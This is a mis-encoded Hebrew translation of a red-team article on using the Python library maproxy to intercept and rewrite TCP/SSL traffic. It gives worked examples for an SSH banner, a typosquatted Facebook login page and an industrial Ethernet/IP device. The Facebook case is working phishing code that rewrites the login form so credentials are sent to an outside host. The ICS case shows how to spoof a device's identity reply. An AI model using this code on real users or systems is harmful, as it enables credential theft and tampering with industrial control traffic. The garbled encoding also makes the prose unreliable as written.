ืขื™ื‘ื•ื“ ื ืชื•ื ื™ ืจืฉืช ืชื•ืš ื›ื“ื™ ืชื ื•ืขื”

ืชืจื’ื•ื ื”ืžืืžืจ ื”ื•ื›ืŸ ืขืจื‘ ืชื—ื™ืœืช ื”ืงื•ืจืก "ืคื ื˜ืกื˜. ืชืจื’ื•ืœ ื‘ื“ื™ืงืช ื—ื“ื™ืจื”".

ืขื™ื‘ื•ื“ ื ืชื•ื ื™ ืจืฉืช ืชื•ืš ื›ื“ื™ ืชื ื•ืขื”

ืชืงืฆื™ืจ

ืžื’ื•ื•ืŸ ืกื•ื’ื™ื ืฉืœ ื”ืขืจื›ื•ืช ืื‘ื˜ื—ื”, ื”ื—ืœ ืžื‘ื“ื™ืงื•ืช ื—ื“ื™ืจื” ืจื’ื™ืœื•ืช ื•ืคืขื•ืœื•ืช Red Team ืœืคืจื™ืฆื” ืœืžื›ืฉื™ืจื™ IoT/ICS ื•-SCADA, ื›ืจื•ื›ื™ื ื‘ืขื‘ื•ื“ื” ืขื ืคืจื•ื˜ื•ืงื•ืœื™ ืจืฉืช ื‘ื™ื ืืจื™ื, ื›ืœื•ืžืจ ื‘ืขืฆื ื™ื™ืจื•ื˜ ื•ืฉื™ื ื•ื™ ื ืชื•ื ื™ ื”ืจืฉืช ื‘ื™ืŸ ื”ืœืงื•ื— ืœืžื˜ืจื”. ืจื—ืจื•ื— ืชืขื‘ื•ืจืช ืจืฉืช ืื™ื ื” ืžืฉื™ืžื” ืงืฉื” ืžื›ื™ื•ื•ืŸ ืฉื™ืฉ ืœื ื• ื›ืœื™ื ื›ืžื• Wireshark, Tcpdump ืื• Scapy, ืืš ื ืจืื” ื›ื™ ืฉื™ื ื•ื™ ื”ื•ื ืžืฉื™ืžื” ืขืชื™ืจืช ืขื‘ื•ื“ื” ืžื›ื™ื•ื•ืŸ ืฉื ืฆื˜ืจืš ืœืงื‘ืœ ืื™ื–ืฉื”ื• ืžืžืฉืง ื›ื“ื™ ืœืงืจื•ื ืืช ื ืชื•ื ื™ ื”ืจืฉืช, ืœืกื ืŸ ืื•ืชื, ืœืฉื ื•ืช ืื•ืชื. ืื•ืชื• ืชื•ืš ื›ื“ื™ ืชื ื•ืขื” ื•ืฉืœื— ืื•ืชื• ื‘ื—ื–ืจื” ืœืžืืจื— ื”ื™ืขื“ ื›ืžืขื˜ ื‘ื–ืžืŸ ืืžืช. ื‘ื ื•ืกืฃ, ื–ื” ื™ื”ื™ื” ืื™ื“ื™ืืœื™ ืื ื›ืœื™ ื›ื–ื” ื™ื•ื›ืœ ืœืขื‘ื•ื“ ืื•ื˜ื•ืžื˜ื™ืช ืขื ืžืกืคืจ ื—ื™ื‘ื•ืจื™ื ืžืงื‘ื™ืœื™ื ื•ื ื™ืชืŸ ืœื”ืชืืžื” ืื™ืฉื™ืช ื‘ืืžืฆืขื•ืช ืกืงืจื™ืคื˜ื™ื.

ื™ื•ื ืื—ื“ ื’ื™ืœื™ืชื™ ื›ืœื™ ืฉื ืงืจื maproxy, ื”ืชื™ืขื•ื“ ื”ื‘ื”ื™ืจ ืœื™ ืืช ื–ื” ื‘ืžื”ื™ืจื•ืช maproxy - ื‘ื“ื™ื•ืง ืžื” ืฉืื ื™ ืฆืจื™ืš. ื–ื”ื• ืคืจื•ืงืกื™ TCP ืคืฉื•ื˜ ืœืžื“ื™, ืจื‘ ืชื›ืœื™ืชื™ ื•ื ื™ืชืŸ ืœื”ื’ื“ืจื” ื‘ืงืœื•ืช. ื‘ื“ืงืชื™ ืืช ื”ื›ืœื™ ื”ื–ื” ื‘ื›ืžื” ื™ื™ืฉื•ืžื™ื ืžื•ืจื›ื‘ื™ื ืœืžื“ื™, ื›ื•ืœืœ ื”ืชืงื ื™ ICS (ืฉื™ื•ืฆืจื™ื ื”ืจื‘ื” ืžื ื•ืช) ื›ื“ื™ ืœืจืื•ืช ืื ื”ื•ื ื™ื›ื•ืœ ืœื”ืชืžื•ื“ื“ ืขื ื”ืจื‘ื” ื—ื™ื‘ื•ืจื™ื ืžืงื‘ื™ืœื™ื, ื•ื”ื›ืœื™ ืคืขืœ ื”ื™ื˜ื‘.

ืžืืžืจ ื–ื” ื™ืฆื™ื’ ื‘ืคื ื™ื›ื ืขื™ื‘ื•ื“ ื ืชื•ื ื™ ืจืฉืช ืชื•ืš ื›ื“ื™ ืฉื™ืžื•ืฉ maproxy.

ืกืงื™ืจื”

ื›ืœื™ maproxy ืžื‘ื•ืกืก ืขืœ Tornado, ืžืกื’ืจืช ืจืฉืช ืืกื™ื ื›ืจื•ื ื™ืช ืคื•ืคื•ืœืจื™ืช ื•ื‘ื•ื’ืจืช ื‘- Python.

ื‘ืื•ืคืŸ ื›ืœืœื™, ื–ื” ื™ื›ื•ืœ ืœืคืขื•ืœ ื‘ืžืกืคืจ ืžืฆื‘ื™ื:

  • TCP:TCP - ื—ื™ื‘ื•ืจื™ TCP ืœื ืžื•ืฆืคื ื™ื;
  • TCP:SSL ะธ SSL:TCP - ืขื ื”ืฆืคื ื” ื—ื“ ื›ื™ื•ื•ื ื™ืช;
  • SSL:SSL - ื”ืฆืคื ื” ื“ื• ื›ื™ื•ื•ื ื™ืช.

ื–ื” ืžื’ื™ืข ื‘ืชื•ืจ ืกืคืจื™ื™ื”. ืœื”ืชื—ืœื” ืžื”ื™ืจื”, ืืชื” ื™ื›ื•ืœ ืœื”ืฉืชืžืฉ ื‘ืงื‘ืฆื™ื ืœื“ื•ื’ืžื” ื”ืžืฉืงืคื™ื ืืช ื”ืจืืฉื™ ืคื•ื ืงืฆื™ื•ืช ื”ืกืคืจื™ื™ื”:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

ืžืงืจื” 1 - ืคืจื•ืงืกื™ ื“ื•-ื›ื™ื•ื•ื ื™ ืคืฉื•ื˜

ืžื‘ื•ืกืก ืขืœ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

ื‘ืจื™ืจืช ืžื—ื“ืœ ProxyServer() ืœื•ืงื— ืฉื ื™ ืืจื’ื•ืžื ื˜ื™ื - ืžื™ืงื•ื ื”ื—ื™ื‘ื•ืจ ื•ื™ืฆื™ืืช ื”ื™ืขื“. server.listen() ืœื•ืงื— ืืจื’ื•ืžื ื˜ ืื—ื“ - ื”ื™ืฆื™ืื” ืœื”ืื–ื ื” ืœื—ื™ื‘ื•ืจ ื”ื ื›ื ืก.

ื‘ื™ืฆื•ืข ื”ืกืงืจื™ืคื˜:

# python tcp2tcp.py

ืขืœ ืžื ืช ืœื”ืคืขื™ืœ ืืช ื”ื‘ื“ื™ืงื”, ืื ื• ื”ื•ืœื›ื™ื ืœื”ืชื—ื‘ืจ ืœืฉืจืช SSH ืžืงื•ืžื™ ื‘ืืžืฆืขื•ืช ืกืงืจื™ืคื˜ ื”-proxy ืฉืœื ื•, ืฉืžืื–ื™ืŸ ื‘- 2222/tcp ื™ืฆื™ืื” ื•ืžืชื—ื‘ืจ ืœื™ืฆื™ืื” ืจื’ื™ืœื” 22/tcp ืฉืจืชื™ SSH:

ืขื™ื‘ื•ื“ ื ืชื•ื ื™ ืจืฉืช ืชื•ืš ื›ื“ื™ ืชื ื•ืขื”

ื‘ืื ืจ ื”ืคืชื™ื—ื” ืžื•ื“ื™ืข ืœืš ืฉื”ืกืงืจื™ืคื˜ ืœื“ื•ื’ืžื” ืฉืœื ื• ื‘ื™ืฆืข ื‘ื”ืฆืœื—ื” ืืช ืชืขื‘ื•ืจืช ื”ืจืฉืช.

ืžืงืจื” 2 - ืฉื™ื ื•ื™ ื ืชื•ื ื™ื

ืขื•ื“ ืชืกืจื™ื˜ ื”ื“ื’ืžื” logging_proxy.py ืื™ื“ื™ืืœื™ ืœืื™ื ื˜ืจืืงืฆื™ื” ืขื ื ืชื•ื ื™ ืจืฉืช. ื”ื”ืขืจื•ืช ื‘ืงื•ื‘ืฅ ืžืชืืจื•ืช ืืช ืฉื™ื˜ื•ืช ื”ื›ื™ืชื” ืฉืืชื” ื™ื›ื•ืœ ืœืฉื ื•ืช ื›ื“ื™ ืœื”ืฉื™ื’ ืืช ื”ืžื˜ืจื” ืฉืœืš:

ืขื™ื‘ื•ื“ ื ืชื•ื ื™ ืจืฉืช ืชื•ืš ื›ื“ื™ ืชื ื•ืขื”

ื”ื“ื‘ืจ ื”ืžืขื ื™ื™ืŸ ื‘ื™ื•ืชืจ ื ืžืฆื ื›ืืŸ:

  • on_c2p_done_read - ืœื™ื™ืจื˜ ื ืชื•ื ื™ื ืœืื•ืจืš ื”ื“ืจืš ืžื”ืœืงื•ื— ืœืฉืจืช;
  • on_p2s_done_read - ื”ืคื•ืš.

ื‘ื•ื ื ื ืกื” ืœืฉื ื•ืช ืืช ื”ื‘ืื ืจ SSH ืฉื”ืฉืจืช ืžื—ื–ื™ืจ ืœืœืงื•ื—:

[โ€ฆ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[โ€ฆ]

ื‘ืฆืข ืืช ื”ืกืงืจื™ืคื˜:

ืขื™ื‘ื•ื“ ื ืชื•ื ื™ ืจืฉืช ืชื•ืš ื›ื“ื™ ืชื ื•ืขื”

ื›ืคื™ ืฉืืชื” ื™ื›ื•ืœ ืœืจืื•ืช, ื”ืœืงื•ื— ื”ื•ื˜ืขื” ื›ื™ ืฉื ืฉืจืช SSH ืขื‘ื•ืจื• ืฉื•ื ื” ืœ ยซDumnySSHยป.

ืขื™ื‘ื•ื“ ื ืชื•ื ื™ ืจืฉืช ืชื•ืš ื›ื“ื™ ืชื ื•ืขื”

ืžืงืจื” 3 - ื“ืฃ ืื™ื ื˜ืจื ื˜ ืคืฉื•ื˜ ืฉืœ ืคื™ืฉื™ื ื’

ื™ืฉ ืื™ื ืกื•ืฃ ื“ืจื›ื™ื ืœื”ืฉืชืžืฉ ื‘ื›ืœื™ ื–ื”. ื”ืคืขื ื‘ื•ืื• ื ืชืžืงื“ ื‘ืžืฉื”ื• ืžืขืฉื™ ื™ื•ืชืจ ืžื”ืฆื“ ื”ืžื‘ืฆืขื™ ืฉืœ ื”ืฆื•ื•ืช ื”ืื“ื•ื. ื‘ื•ืื• ื ื—ืงื” ืืช ื“ืฃ ื”ื ื—ื™ืชื” m.facebook.com ื•ืœื”ืฉืชืžืฉ ื‘ื“ื•ืžื™ื™ืŸ ืžื•ืชืื ืื™ืฉื™ืช ืขื ืฉื’ื™ืืช ื”ืงืœื“ื” ืžื›ื•ื•ื ืช, ืœืžืฉืœ, m.facebok.com. ืœืžื˜ืจื•ืช ื”ื“ื’ืžื”, ื ื ื™ื— ืฉื”ื“ื•ืžื™ื™ืŸ ืจืฉื•ื ืขืœ ื™ื“ื™ื ื•.

ืื ื—ื ื• ื”ื•ืœื›ื™ื ืœื™ืฆื•ืจ ื—ื™ื‘ื•ืจ ืจืฉืช ืœื ืžื•ืฆืคืŸ ืขื ื”-proxy ืฉืœ ื”ืงื•ืจื‘ื ื•ืช ืฉืœื ื• ื•-SSL Stream ืœืฉืจืช ืคื™ื™ืกื‘ื•ืง (31.13.81.36). ื›ื“ื™ ืฉื”ื“ื•ื’ืžื” ื”ื–ื• ืชืขื‘ื•ื“, ืื ื—ื ื• ืฆืจื™ื›ื™ื ืœื”ื—ืœื™ืฃ ืืช ื›ื•ืชืจืช ื”ืžืืจื— ืฉืœ HTTP ื•ืœื”ื—ื“ื™ืจ ืืช ืฉื ื”ืžืืจื— ื”ื ื›ื•ืŸ, ื•ื’ื ื ืฉื‘ื™ืช ืืช ื“ื—ื™ืกืช ื”ืชื’ื•ื‘ื” ื›ื“ื™ ืฉื ื•ื›ืœ ืœื’ืฉืช ื‘ืงืœื•ืช ืœืชื•ื›ืŸ. ื‘ืกื•ืคื• ืฉืœ ื“ื‘ืจ ื ื—ืœื™ืฃ ืืช ื˜ื•ืคืก ื”-HTML ื›ืš ืฉืื™ืฉื•ืจื™ ื”ื›ื ื™ืกื” ื™ื™ืฉืœื—ื• ืืœื™ื ื• ื‘ืžืงื•ื ืœืฉืจืชื™ื ืฉืœ ืคื™ื™ืกื‘ื•ืง:

[โ€ฆ]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[โ€ฆ]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/iw/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[โ€ฆ]

ืœืกื™ื›ื•ื:

ืขื™ื‘ื•ื“ ื ืชื•ื ื™ ืจืฉืช ืชื•ืš ื›ื“ื™ ืชื ื•ืขื”

ื›ืคื™ ืฉืืชื” ื™ื›ื•ืœ ืœืจืื•ืช, ื”ืฆืœื—ื ื• ืœื”ื—ืœื™ืฃ ืืช ื”ืืชืจ ื”ืžืงื•ืจื™ ื‘ื”ืฆืœื—ื”.

ืžืงืจื” 4 - ื”ืขื‘ืจืช Ethernet/IP

ืื ื™ ืžืชืขืกืง ืขื ื”ืชืงื ื™ื ื•ืชื•ื›ื ื•ืช ืชืขืฉื™ื™ืชื™ื•ืช (ICS/SCADA) ื›ื‘ืจ ืœื ืžืขื˜ ื–ืžืŸ, ื›ืžื• ื‘ืงืจื™ื ื ื™ืชื ื™ื ืœืชื›ื ื•ืช (PLC), ืžื•ื“ื•ืœื™ I/O, ื›ื•ื ื ื™ื, ืžืžืกืจื™ื, ืกื‘ื™ื‘ื•ืช ืชื›ื ื•ืช ืกื•ืœื ื•ืขื•ื“ ืจื‘ื™ื. ื”ืžืืจื– ื”ื–ื” ืžื™ื•ืขื“ ืœืžื™ ืฉืื•ื”ื‘ ื“ื‘ืจื™ื ืชืขืฉื™ื™ืชื™ื™ื. ืคืจื™ืฆื” ืœืคืชืจื•ื ื•ืช ื›ืืœื” ื›ืจื•ื›ื” ื‘ืžืฉื—ืง ืคืขื™ืœ ืขื ืคืจื•ื˜ื•ืงื•ืœื™ ืจืฉืช. ื‘ื“ื•ื’ืžื” ื”ื‘ืื”, ื‘ืจืฆื•ื ื™ ืœื”ืจืื•ืช ื›ื™ืฆื“ ื ื™ืชืŸ ืœืฉื ื•ืช ืชืขื‘ื•ืจืช ืจืฉืช ICS/SCADA.

ื›ื“ื™ ืœืขืฉื•ืช ื–ืืช, ืืชื” ืฆืจื™ืš ืืช ื”ื“ื‘ืจื™ื ื”ื‘ืื™ื:

  • ืจืฉืช ืกื ื™ืคืจ, ืœืžืฉืœ, Wireshark;
  • Ethernet/IP ืื• ืจืง ื”ืชืงืŸ SIP, ืืชื” ื™ื›ื•ืœ ืœืžืฆื•ื ืื•ืชื• ื‘ืืžืฆืขื•ืช ืฉื™ืจื•ืช Shodan;
  • ื”ืชืกืจื™ื˜ ืฉืœื ื• ืžื‘ื•ืกืก ืขืœ maproxy.

ืจืืฉื™ืช, ื‘ื•ืื• ื ืกืชื›ืœ ื›ื™ืฆื“ ื ืจืื™ืช ืชื’ื•ื‘ืช ื–ื™ื”ื•ื™ ื˜ื™ืคื•ืกื™ืช ืž-CIP (ืคืจื•ื˜ื•ืงื•ืœ ืชืขืฉื™ื™ืชื™ ืžืฉื•ืชืฃ):

ืขื™ื‘ื•ื“ ื ืชื•ื ื™ ืจืฉืช ืชื•ืš ื›ื“ื™ ืชื ื•ืขื”

ื–ื™ื”ื•ื™ ื”ื”ืชืงืŸ ืžืชื‘ืฆืข ื‘ืืžืฆืขื•ืช ืคืจื•ื˜ื•ืงื•ืœ Ethernet/IP, ืฉื”ื•ื ื’ืจืกื” ืžืฉื•ืคืจืช ืฉืœ ืคืจื•ื˜ื•ืงื•ืœ ื”-Ethernet ื”ืชืขืฉื™ื™ืชื™ ื”ืขื•ื˜ืฃ ืคืจื•ื˜ื•ืงื•ืœื™ ื‘ืงืจื” ื›ื’ื•ืŸ CIP. ืื ื• ื”ื•ืœื›ื™ื ืœืฉื ื•ืช ืืช ืฉื ื”ืžื–ื”ื” ื”ืžื•ื“ื’ืฉ ืืฉืจ ื’ืœื•ื™ ื‘ืฆื™ืœื•ื ื”ืžืกืš "NI-IndComm ืขื‘ื•ืจ Ethernet" ื‘ืืžืฆืขื•ืช ืกืงืจื™ืคื˜ ื”-proxy ืฉืœื ื•. ื ื•ื›ืœ ืœืขืฉื•ืช ืฉื™ืžื•ืฉ ื—ื•ื–ืจ ื‘ืชืกืจื™ื˜ logging_proxy.py ื•ื‘ืื•ืคืŸ ื“ื•ืžื” ืœืฉื ื•ืช ืืช ืฉื™ื˜ืช ื”ืžื—ืœืงื” on_p2s_done_read, ื›ื™ ืื ื—ื ื• ืจื•ืฆื™ื ืฉืฉื ื–ื”ื•ืช ืฉื•ื ื” ื™ื”ื™ื” ื’ืœื•ื™ ืขืœ ื”ืœืงื•ื—.

ืงื•ื“:

[โ€ฆ]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[โ€ฆ]

ื‘ืขื™ืงืจื• ืฉืœ ื“ื‘ืจ, ื‘ื™ืงืฉื ื• ื–ื™ื”ื•ื™ ื”ืžื›ืฉื™ืจ ืคืขืžื™ื™ื, ื”ืชื’ื•ื‘ื” ื”ืฉื ื™ื™ื” ื”ื™ื™ืชื” ื”ืžืงื•ืจื™ืช, ื•ื”ืจืืฉื•ื ื” ืฉื•ื ืชื” ืชื•ืš ื›ื“ื™ ืชื ื•ืขื”.

ื•ื”ืื—ืจื•ืŸ

ืœื“ืขืชื™ maproxy ื›ืœื™ ื ื•ื— ื•ืคืฉื•ื˜, ืฉื›ืชื•ื‘ ื’ื ื‘-Python, ื›ืš ืฉืื ื™ ืžืืžื™ืŸ ืฉื’ื ืืชื ื™ื›ื•ืœื™ื ืœื”ืคื™ืง ืชื•ืขืœืช ืžื”ืฉื™ืžื•ืฉ ื‘ื•. ื›ืžื•ื‘ืŸ, ื™ืฉื ื ื›ืœื™ื ืžื•ืจื›ื‘ื™ื ื™ื•ืชืจ ืœืขื™ื‘ื•ื“ ื•ืฉื™ื ื•ื™ ื ืชื•ื ื™ ืจืฉืช, ืืš ื”ื ื’ื ื“ื•ืจืฉื™ื ื™ื•ืชืจ ืชืฉื•ืžืช ืœื‘ ื•ืœืจื•ื‘ ื ื•ืฆืจื™ื ืขื‘ื•ืจ ืžืงืจื” ืฉื™ืžื•ืฉ ืกืคืฆื™ืคื™, ืœืžืฉืœ. ืžื•ืจืื ื”, ืžื•ื“ืœื™ืฉืงื” ืื• evilginx ืœืžืงืจื™ื ื“ื•ืžื™ื ืœืฉืœื™ืฉื™, ืื• ืกึทืคึผึธื” ืœืžืงืจื” ื”ืื—ืจื•ืŸ. ื›ืš ืื• ืื—ืจืช, ื‘ืขื–ืจืชื• maproxy ืืชื” ื™ื›ื•ืœ ืœื™ื™ืฉื ื‘ืžื”ื™ืจื•ืช ืืช ื”ืจืขื™ื•ื ื•ืช ืฉืœืš ืœื™ื™ืจื•ื˜ ื ืชื•ื ื™ ืจืฉืช, ืžื›ื™ื•ื•ืŸ ืฉื”ืกืงืจื™ืคื˜ื™ื ืœื“ื•ื’ืžื” ื‘ืจื•ืจื™ื ืžืื•ื“.

ื‘ื“ื™ืงืช ืžื ื’ื ื•ื ื™ ืื™ืžื•ืช ื‘-Windows AD

ืžืงื•ืจ: www.habr.com

ื”ื•ืกืคืช ืชื’ื•ื‘ื”